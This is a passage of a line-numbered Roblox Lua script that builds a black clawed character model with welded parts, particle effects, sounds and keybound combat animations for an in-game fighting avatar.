  2601. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.445028067, 4.04179811, -4.22505188, -0.433007121, 0.86602807, 0.250001073, 0.176776409, 0.353552371, -0.918559194, -0.883886516, -0.353548348, -0.306183964))
  2602. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2603. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2604. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.71447492, 0.377288342, 4.1787672, 0.258815825, 7.89761543e-007, -0.965926647, 2.11596489e-006, 1.00000012, 1.35600567e-006, 0.965926886, -2.41398811e-006, 0.258815885))
  2605. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2606. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.452456236, 4.21090841, 3.33576679, -0.124996543, 0.949091196, -0.289140046, 0.214267105, -0.25872606, -0.941886783, -0.968744338, -0.179685771, -0.171019137))
  2607. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2608. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2609. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.94182658, 0.445016861, 4.22507095, 0.176774979, 0.353554398, -0.918558657, -0.433007926, 0.866026998, 0.250003278, 0.883886337, 0.353548825, 0.306183696))
  2610. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2611. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.256506443, 3.92671657, -4.59811449, -1.00000024, 2.62260437e-006, 1.4603138e-006, -7.4505806e-007, 0.258819073, -0.965925872, -2.89268792e-006, -0.965925932, -0.258819073))
  2612. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2613. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2614. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.4743073, 0.377253056, 1.63544273, 0.866023183, -4.61935997e-007, -0.500004172, 1.52736902e-006, 1.00000012, 1.65402889e-006, 0.500004232, -2.21282244e-006, 0.866023183))
  2615. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2616. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.15870619, 0.452619314, 0.758959055, -0.533491194, -0.310006529, -0.786945462, 0.124997422, -0.949090362, 0.289142251, -0.836518347, 0.0558886975, 0.545081377))
  2617. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2618. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.84976673, 0.256440639, 1.85214663, 6.2584877e-007, 0.866025329, -0.500000298, -1.00000024, 1.72108412e-006, 1.7285347e-006, 2.38418579e-006, 0.500000298, 0.866025329))
  2619. Gear2=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2620. Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636))
  2621. mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2622. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2623. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835))
  2624.  
  2625. local modelzorz3=Instance.new("Model")
  2626. modelzorz3.Parent=Character
  2627. modelzorz3.Name="Eye"
  2628.  
  2629. handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2630. handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0))
  2631. mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1))
  2632. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2633. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2634. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996))
  2635. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005))
  2636. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2637. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963))
  2638. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998))
  2639. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2640. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039))
  2641. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998))
  2642. Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0))
  2643. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039))
  2644. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2645. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752))
  2646. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2647. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1))
  2648. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2649. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702))
  2650. Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964))
  2651. Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537))
  2652. local moosick = it("Sound",Character)
  2653. moosick.SoundId = "rbxassetid://379173462"
  2654. --142653441, 175067863
  2655. moosick.Looped = true
  2656. moosick.Pitch = 0.9775
  2657. moosick.Volume = 1
  2658. moosick:Play()
  2659.  
  2660. anim = Character:findFirstChild("Animate")
  2661. if anim then
  2662. anim:Destroy()
  2663. end
  2664.  
  2665. local particleemitter = Instance.new("ParticleEmitter", Handle)
  2666. particleemitter.VelocitySpread = 180
  2667. particleemitter.Lifetime = NumberRange.new(0.1)
  2668. particleemitter.Speed = NumberRange.new(2)
  2669. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2670. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2671. particleemitter.Rate = 100
  2672. particleemitter.Rotation = NumberRange.new(-45, 45)
  2673. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2674. particleemitter.LightEmission = 0.8
  2675. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2676.  
  2677. local particleemitter = Instance.new("ParticleEmitter", Handle2)
  2678. particleemitter.VelocitySpread = 180
  2679. particleemitter.Lifetime = NumberRange.new(0.1)
  2680. particleemitter.Speed = NumberRange.new(2)
  2681. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)})
  2682. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2683. particleemitter.Rate = 100
  2684. particleemitter.Rotation = NumberRange.new(-45, 45)
  2685. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2686. particleemitter.LightEmission = 0.8
  2687. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2688.  
  2689. local particleemitter = Instance.new("ParticleEmitter", handle)
  2690. particleemitter.VelocitySpread = 180
  2691. particleemitter.Lifetime = NumberRange.new(0.1)
  2692. particleemitter.Speed = NumberRange.new(2)
  2693. particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)})
  2694. particleemitter.RotSpeed = NumberRange.new(-45, 45)
  2695. particleemitter.Rate = 100
  2696. particleemitter.Rotation = NumberRange.new(-45, 45)
  2697. particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)})
  2698. particleemitter.LightEmission = 0.8
  2699. particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0))
  2700.  
  2701. local light = Instance.new("PointLight", Character.Torso)
  2702. light.Color = Color3.new(1,0,0)
  2703. light.Brightness = 5
  2704. light.Range = 15
  2705.  
  2706. particleemitter.Enabled = true
  2707.  
  2708. local Footsteps = it("Sound",Character.Torso)
  2709. Footsteps.SoundId = "rbxassetid://142665235"
  2710. Footsteps.Looped = true
  2711. Footsteps.Pitch = 0.8
  2712. Footsteps.Volume = 0.3
  2713.  
  2714. local Footsteps2 = it("Sound",Character.Torso)
  2715. Footsteps2.SoundId = "rbxassetid://142665235"
  2716. Footsteps2.Looped = true
  2717. Footsteps2.Pitch = 1
  2718. Footsteps2.Volume = 0.4
  2719.  
  2720. local cam = game.Workspace.CurrentCamera
  2721.  
  2722. --cam.CameraSubject = Character
  2723.  
  2724. for i,v in pairs(Head:children()) do
  2725. if v:IsA("Sound") then
  2726. v:Destroy()
  2727. end
  2728. end
  2729.  
  2730. mouse.Button1Down:connect(function()
  2731. if attack==false and attacktype==1 then
  2732. attacktype=2
  2733. attackone()
  2734. elseif attack==false and attacktype==2 then
  2735. attacktype=3
  2736. attacktwo()
  2737. elseif attack==false and attacktype==3 then
  2738. attacktype=4
  2739. attackthree()
  2740. elseif attack==false and attacktype==4 then
  2741. attacktype=1
  2742. attackfour()
  2743. end
  2744. end)
  2745.  
  2746. mouse.KeyDown:connect(function(k)
  2747. k=k:lower()
  2748. if k=='e' then
  2749. if attack==false and mana>=20 then
  2750. Push()
  2751. end
  2752. elseif k=='g' then
  2753. if attack==false and mana>=50 then
  2754. Twirl()
  2755. end
  2756. elseif k=='v' then
  2757. if attack==false and mana>=25 then
  2758. MagicJump()
  2759. end
  2760. elseif k=='c' then
  2761. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2762. attack=true
  2763. for i = 1, 40 do
  2764. swait()
  2765. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2766. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2767. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2768. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2769. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2770. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2771. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2772. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2773. end
  2774. Blaze()
  2775. attack = false
  2776. end
  2777. elseif k=='x' then
  2778. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2779. attack=true
  2780. for i = 1, 15 do
  2781. swait()
  2782. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2783. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2784. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2785. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2786. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2787. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2788. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2789. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2790. end
  2791. so("http://www.roblox.com/asset/?id=163619849",workspace,2.5,0.35)
  2792. so("http://www.roblox.com/asset/?id=299058146",workspace,2.5,0.65)
  2793. for i = 0, 30 do
  2794. BlastEffect(BrickColor.new("Really black"),cf(tors.Position) * euler(0, math.random(-50, 50), 0) ,.9,5,.9,5,0.2,5)
  2795. wait(0.1)
  2796. end
  2797. local parteffected = Instance.new("Part",tors)
  2798. parteffected.Transparency = 1
  2799. parteffected.Position = tors.Position
  2800. parteffected.CanCollide = false
  2801. parteffected.Anchored = true
  2802. so("http://www.roblox.com/asset/?id=153832545",workspace,0.5,0.5)
  2803. so("http://www.roblox.com/asset/?id=165970126",workspace,1,0.4)
  2804. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,.9,.9,15,5,15)
  2805. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,15,15,15,0.05)
  2806. MagicCircle(BrickColor.new("Really black"),cf(parteffected.Position),5,5,5,22.5,22.5,22.5,0.05)
  2807. BlastEffect(BrickColor.new("Really black"),cf(parteffected.Position) * euler(0, math.random(-50, 50), 0),.9,25,.9,30,5,30)
  2808. local sbs = Instance.new("BodyPosition", RootPart)
  2809. sbs.P = 3000
  2810. sbs.D = 1000
  2811. sbs.maxForce = Vector3.new(500000, 500000000, 500000)
  2812. sbs.position = RootPart.CFrame.p + Vector3.new(0, 2000, 0)
  2813. for i = 1, 40 do
  2814. swait()
  2815. Neck.C0 = clerp(Neck.C0, necko * euler(-0.5, 0, 0), 0.1)
  2816. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, 0) * euler(0, 0, 0), 0.1)
  2817. RW.C0 = clerp(RW.C0, cf(1.3, 1, 0) * euler(2.5, 0, 0) * euler(0, 0, 0.4), 0.1)
  2818. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2819. LW.C0 = clerp(LW.C0, cf(-1.3, 0.5, 0) * euler(0.6, 0, 0) * euler(0, 0, -0.5), 0.1)
  2820. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.1)
  2821. RH.C0 = clerp(RH.C0, cf(1, -1, 0) * euler(0, 0, 0.1) * euler(0, math.pi / 2, 0), 0.1)
  2822. LH.C0 = clerp(LH.C0, cf(-1, -1, 0) * euler(0, 0, -0.1) * euler(0, -math.pi / 2, 0), 0.1)
  2823. end
  2824. wait(3)
  2825. Blaze2()
  2826. attack = false
  2827. parteffected:Destroy()
  2828. sbs:Destroy()
  2829. end
  2830. elseif k=='q' then
  2831. if attack==false then
  2832. idle=1000
  2833. end
  2834. elseif k=='h' then
  2835. if attack==false then
  2836. mana=100
  2837. end
  2838. elseif k=='y' then
  2839. if attack==false and mana>=100 then
  2840. Shred()
  2841. end
  2842. elseif k=='f' then
  2843. if attack==false and mana>=40 then
  2844. Spin()
  2845. end
  2846. elseif k=='r' then
  2847. if attack==false and mana>=20 then
  2848. Clap()
  2849. end
  2850. elseif k=='t' then
  2851. if attack==false then
  2852. Hai()
  2853. end
  2854. elseif k=='0' then
  2855. if attack==false then
  2856. Humanoid.WalkSpeed=(24)
  2857. end
  2858. elseif k=='' then
  2859. if attack==false then
  2860. Humanoid.Health = 10
  2861. print("Congrats, you commited suicide.")
  2862. end
  2863. end
  2864. end)
  2865.  
  2866. mouse.KeyDown:connect(function(k)
  2867. if k == "z" and Ultramode == false then
  2868. if Anim == "Idle" or Anim == "Walk" or Anim == "Run" then
  2869. attack = true
  2870. for i = 1, 15 do
  2871. swait()
  2872. Neck.C0 = clerp(Neck.C0, necko * euler(0.5, 0, 0), 0.3)
  2873. RootJoint.C0 = clerp(RootJoint.C0, RootCF * cf(0, 0, -1) * euler(0.5, 0, 0), 0.35)
  2874. RW.C0 = clerp(RW.C0, cf(1.5, 1, 0) * euler(0, 0, 0) * euler(0.3, 0, 0.6), 0.35)
  2875. RW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2876. LW.C0 = clerp(LW.C0, cf(-1.5, 1, 0) * euler(-0.5, 0, 0) * euler(0, 0, -0.7), 0.35)
  2877. LW.C1 = clerp(LW.C1, cf(0, 0.5, 0) * euler(0, 0, 0), 0.2)
  2878. RH.C0 = clerp(RH.C0, cf(1, 0.25, -0.5) * euler(0.55, 0, 0) * euler(0, math.pi / 2.2, 0), 0.35)
  2879. LH.C0 = clerp(LH.C0, cf(-1, -1, -0.5) * euler(-0.7, 0, 0) * euler(0, -math.pi / 1.8, 0), 0.35)
  2880. end
  2881. m:Destroy()
  2882. local m = Instance.new("Model", Character)
  2883. m.Name = "WeaponModel"
  2884. local parta = Instance.new("Part",Character)
  2885. parta.Size = vt(10,10,10)
  2886. parta.BrickColor = BrickColor.new("Really black")
  2887. parta.Material = "Neon"
  2888. parta.Shape = "Ball"
  2889. parta.Transparency = 0
  2890. parta.Anchored = true
  2891. parta.CanCollide = false
  2892. parta.CFrame = tors.CFrame
  2893. Transform()
  2894. parta:Destroy()
  2895.  
  2896. local modelzorzz=Instance.new("Model")
  2897. modelzorzz.Parent=Character
  2898. modelzorzz.Name="Claw1"
  2899.  
  2900. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(3, 3, 3))
  2901. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2902. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2903. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2904. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2905. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2906. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2907. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2908. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2909. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2910. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2911. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2912. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2913. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2914. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2915. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2916. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2917. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2918. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2919. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2920. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2921. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2922. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2923. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2924. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2925. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2926. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2927. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2928. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2929. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2930. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2931. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(2, 5, 2))
  2932. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
